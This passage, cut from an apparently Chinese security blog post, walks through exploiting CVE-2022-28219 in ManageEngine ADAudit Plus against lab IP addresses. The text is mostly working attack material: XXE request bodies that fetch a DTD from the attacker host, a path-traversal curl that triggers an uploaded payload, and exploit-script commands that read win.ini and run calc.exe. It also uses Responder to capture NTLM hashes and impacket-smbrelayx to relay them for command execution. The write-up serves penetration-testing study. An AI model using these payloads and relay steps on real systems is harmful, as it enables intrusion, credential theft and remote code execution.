提供文件并保持连接打开，因此临时文件不会被删除。</span></p><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">第三步</h3><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">利用XXE漏洞定位上传payload的文件路径。我们在这里使用 GitHub 项目中的 </span><span style="font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: left;line-height: 1.75;color: rgb(87, 107, 149);">XXE FTP</span><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;"> 服务器来泄露目录列表以找到有效负载： </span><code style="white-space: normal;text-align: left;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;word-break: break-all;">python2 xxe-ftp-server.py 192.168.20.151 3000 2121</code><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;"></span></p><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.31585845347313235" title="null" data-w="763" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=87288696&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87974icaoMy6hRhaz4uvbsmwjVjKcdknv6jwRsqeXChPvUXSibVaJzHMCejZBQk4bRldFao3Jcumxn3iaw%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">发送数据包。</span></p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;margin: 10px 8px;"><span style="padding: initial;display: block;height: 25px;background-color: transparent;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaVIMsNic5YPIsY1WpguWQeHcMrlPibFxIxlkRlv8Z6ZTlYRTtQfibPwCTjNVzLmYAu2qC51UYiagUrVsgvebQeAItns/640?wx_fmt=svg&#34;);background-position: 14px 10px;background-repeat: no-repeat;background-size: 40px;"></span><code style="font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;line-height: 1.75;font-size: 13px;white-space: nowrap;">POST /api/agent/tabs/agentData HTTP/1.1<br/>Host: 192.168.20.246:8081<br/>Accept-Encoding: gzip, deflate<br/>Accept: */*<br/>Connection: keep-alive<br/>Content-Length: 393<br/>Content-Type: application/json<br/>[<br/>    {<br/>        &#34;DomainName&#34;: &#34;fbi.gov&#34;,<br/>        &#34;EventCode&#34;: 4688,<br/>        &#34;EventType&#34;: 0,<br/>        &#34;TimeGenerated&#34;: 0,<br/>        &#34;Task Content&#34;: &#34;&lt;?xml version=\&#34;1.0\&#34; encoding=\&#34;UTF-8\&#34;?&gt;&lt;!DOCTYPE data [  &lt;!ENTITY % file SYSTEM \&#34;file:///C:/Users/fbi/AppData/Local/Temp/\&#34;&gt;  &lt;!ENTITY % dtd SYSTEM \&#34;<a href="http://192.168.20.151:3000/data.dtd\" target="_blank">http://192.168.20.151:3000/data.dtd\</a>&#34;&gt; %dtd;]&gt;&lt;data&gt;&amp;send;&lt;/data&gt;&#34;<br/>    }<br/>]</code></pre><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">找到通过ftp上传的临时文件</span></p><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.4830729166666667" title="null" data-w="768" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=c2ebafc6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87974icaoMy6hRhaz4uvbsmwjVCV8EUdtz4mAlhtWKXWKYZasGDuwCqF2LZlPJhNcr4PNwpqXE84Kbew%2F640%3Fwx_fmt%3Dpng"/></figure><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">第四步（触发payload）</h3><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;margin: 10px 8px;"><span style="padding: initial;display: block;height: 25px;background-color: transparent;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaVIMsNic5YPIsY1WpguWQeHcMrlPibFxIxlkRlv8Z6ZTlYRTtQfibPwCTjNVzLmYAu2qC51UYiagUrVsgvebQeAItns/640?wx_fmt=svg&#34;);background-position: 14px 10px;background-repeat: no-repeat;background-size: 40px;"></span><code style="font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;line-height: 1.75;font-size: 13px;white-space: nowrap;">curl --path-as-is -v <a href="http://192.168.20.246:8081/cewolf/a.png?img=/../../../../../../../../../users/fbi/appdata/local/temp/jar_cache5024000158749136930.tmp" target="_blank">http://192.168.20.246:8081/cewolf/a.png?img=/../../../../../../../../../users/fbi/appdata/local/temp/jar_cache5024000158749136930.tmp</a></code></pre><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.4126482213438735" title="null" data-w="1265" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=ee44f05d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87974icaoMy6hRhaz4uvbsmwjVZnCXNIUA1l6qO2r2qIdCFkdZwKZoKtP1AlltiarSPYtZM8ibnd29GgFw%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">成功触发payload</span></p><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.8486096807415036" title="null" data-w="971" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=872f1811&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87974icaoMy6hRhaz4uvbsmwjVy8EPwz0ibVCqCdSBCow3524X9ibSvxcaZUEIwZD9YZfZhWYHgLKgKz9g%2F640%3Fwx_fmt%3Dpng"/></figure><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">五、<span style="line-height: 1.75;color: rgb(87, 107, 149);">集成脚本</span></h3><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">win.ini文件内容。</span></p><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.4166666666666667" title="null" data-w="816" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=4c4c22e3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87974icaoMy6hRhaz4uvbsmwjVs3v4icibUSficibZ1jbibUbtyQUBKmmccjiaUoianJg7rP5uNVgnKM7lVXu9g%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">脚本获取win.ini内容</span></p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;margin: 10px 8px;"><span style="padding: initial;display: block;height: 25px;background-color: transparent;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaVIMsNic5YPIsY1WpguWQeHcMrlPibFxIxlkRlv8Z6ZTlYRTtQfibPwCTjNVzLmYAu2qC51UYiagUrVsgvebQeAItns/640?wx_fmt=svg&#34;);background-position: 14px 10px;background-repeat: no-repeat;background-size: 40px;"></span><code style="font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;line-height: 1.75;font-size: 13px;white-space: nowrap;">python3 CVE-2022-28219.py -t <a href="http://192.168.20.246:8081/ -l 192.168.20.151 -d fbi.gov -f /windows/win.ini" target="_blank">http://192.168.20.246:8081/ -l 192.168.20.151 -d fbi.gov -f /windows/win.ini</a></code></pre><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.6123595505617978" title="null" data-w="1068" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=c598bd08&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87974icaoMy6hRhaz4uvbsmwjV4jCCcOso7ibNjia7jUDcP1f4OfdoFibRCa4iaVKlExluDCQTH7yiceoWZcA%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">执行命令：</span></p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;margin: 10px 8px;"><span style="padding: initial;display: block;height: 25px;background-color: transparent;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaVIMsNic5YPIsY1WpguWQeHcMrlPibFxIxlkRlv8Z6ZTlYRTtQfibPwCTjNVzLmYAu2qC51UYiagUrVsgvebQeAItns/640?wx_fmt=svg&#34;);background-position: 14px 10px;background-repeat: no-repeat;background-size: 40px;"></span><code style="font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;line-height: 1.75;font-size: 13px;white-space: nowrap;">python3 CVE-2022-28219.py -t <a href="http://192.168.20.246:8081/ -l 192.168.20.151 -d fbi.gov -c calc.exe" target="_blank">http://192.168.20.246:8081/ -l 192.168.20.151 -d fbi.gov -c calc.exe</a></code></pre><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.5726109857035365" title="null" data-w="1329" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=5c5621e3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87974icaoMy6hRhaz4uvbsmwjVyDYVTLnfUAWykv4qB60SE0rGS592eZicdjPQHVH3nb6icAiaqbjIqy3ww%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">于手工触发的流程一致，多了一个列user目录的过程，来探测当前机器上的用户和用户目录。</span></p><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.18825722273998136" title="null" data-w="1073" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=88f10b73&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87974icaoMy6hRhaz4uvbsmwjVNUge5zqZicPI51ibhpcMt3ZAakiaRAHp26JpXRibbcdaCLoKYBCIicb7VRA%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">找到生成的临时文件tmp之后发送请求访问上传的tmp文件来触发漏洞导致命令执行。</span></p><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">六、SSRF到NTLM中继</h3><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">我们在攻击者机器上运行著名的<span style="line-height: 1.75;color: rgb(87, 107, 149);">响应器工具</span></p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;margin: 10px 8px;"><span style="padding: initial;display: block;height: 25px;background-color: transparent;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaVIMsNic5YPIsY1WpguWQeHcMrlPibFxIxlkRlv8Z6ZTlYRTtQfibPwCTjNVzLmYAu2qC51UYiagUrVsgvebQeAItns/640?wx_fmt=svg&#34;);background-position: 14px 10px;background-repeat: no-repeat;background-size: 40px;"></span><code style="font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;line-height: 1.75;font-size: 13px;white-space: nowrap;">python3 Responder.py -I eth0</code></pre><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">发送一个请求来触发 XXE 并让 ADAudit Plus 服务器连接回攻击 IP</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;margin: 10px 8px;"><span style="padding: initial;display: block;height: 25px;background-color: transparent;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaVIMsNic5YPIsY1WpguWQeHcMrlPibFxIxlkRlv8Z6ZTlYRTtQfibPwCTjNVzLmYAu2qC51UYiagUrVsgvebQeAItns/640?wx_fmt=svg&#34;);background-position: 14px 10px;background-repeat: no-repeat;background-size: 40px;"></span><code style="font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;line-height: 1.75;font-size: 13px;white-space: nowrap;">POST /api/agent/tabs/agentData HTTP/1.1<br/>Host: 192.168.20.246:8081<br/>Accept-Encoding: gzip, deflate<br/>Accept: */*<br/>Connection: keep-alive<br/>Content-Length: 393<br/>Content-Type: application/json<br/>[<br/>    {<br/>        &#34;DomainName&#34;: &#34;fbi.gov&#34;,<br/>        &#34;EventCode&#34;: 4688,<br/>        &#34;EventType&#34;: 0,<br/>        &#34;TimeGenerated&#34;: 0,<br/>        &#34;Task Content&#34;: &#34;&lt;?xml version=\&#34;1.0\&#34; encoding=\&#34;UTF-8\&#34;?&gt;&lt;!DOCTYPE foo [ &lt;!ENTITY % xxe SYSTEM \&#34;<a href="http://192.168.20.151\" target="_blank">http://192.168.20.151\</a>&#34;&gt; %xxe; ]&gt;&#34;<br/>    }<br/>]</code></pre><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.7448979591836735" title="null" data-w="1274" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=5fc4c301&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87974icaoMy6hRhaz4uvbsmwjVzecD6YnQNxJAYzSjgKKzjkJ8kyWppe7iaibicQdopY1bAKdlrDjm5icxvw%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">获取用户fbi的net-ntlmhash，后续可以使用hashcat尝试破解NTLMv2hash。</span></p><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">七、通过ntlmrelay获取机器的权限</h3><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">如果在目标机器上的jdk版本有问题导致无法rce，只存在xxe的情况下作何利用？</p><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">ntlmrelay原理：</span></p><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.5729827742520399" title="null" data-w="1103" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=563cff72&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87974icaoMy6hRhaz4uvbsmwjVeLxnGl9iazDDcSibicKVhMIepicY5DY9eOdQf41RNPVogoosCrws2Rv2IQ%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">基本流程如上图所示，在客户端的视角里，攻击者就是他要访问的服务端，它在与攻击者这台主机进行NTLM认证，而整个流程也只有攻击者这台主机与其进行交互。在服务端的视角里，攻击者是客户端，是攻击者在向服务端证明自己的身份。通过中间人攻击的方法，攻击者可以伪造成客户端来完成身份验证。整个ntlm认证过程中，攻击者相当于一个中间人的作用，在不同的认证流程中，扮演不同的认证角色。</span></p><h4 style="font-size: 1em;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-weight: bold;margin: 2em 8px 0.5em;color: rgb(15, 76, 129);">一、中继到smb</h4><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">默认情况，dc开启smb签名认证。其他域内主机未开启。</span></p><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.5344262295081967" title="null" data-w="610" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=e002c08a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87974icaoMy6hRhaz4uvbsmwjVhOhOdStfsiafRqt6I35TSpeF765ia9KmJxuB7sfFibGjAXkhleIJibHSLg%2F640%3Fwx_fmt%3Dpng"/></figure><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">攻击机kali使用smbrelayx临时起一个SMB服务。</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;margin: 10px 8px;"><span style="padding: initial;display: block;height: 25px;background-color: transparent;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaVIMsNic5YPIsY1WpguWQeHcMrlPibFxIxlkRlv8Z6ZTlYRTtQfibPwCTjNVzLmYAu2qC51UYiagUrVsgvebQeAItns/640?wx_fmt=svg&#34;);background-position: 14px 10px;background-repeat: no-repeat;background-size: 40px;"></span><code style="font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;line-height: 1.75;font-size: 13px;white-space: nowrap;">impacket-smbrelayx -h 192.168.20.111 -c hostname</code></pre><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">利用xxe发送http请求</span></p><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.24574209245742093" title="null" data-w="1233" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=0133b53c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87974icaoMy6hRhaz4uvbsmwjVfhiaDVpJdG3wrDJQVwsYAf3jibIGDTLBsPYQKDX7aMibiciaydIWib82YB6A%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">在机器上执行命令成功。</span></p><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.2966101694915254" title="null" data-w="826" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=8f3cab1f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87974icaoMy6hRhaz4uvbsmwjVSW6QT8RJjmVlOtNZiaibXsgQrkGxribbqVdCGcibRzakmDW1qBB2uhxLhQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="white-space: normal;text-align: 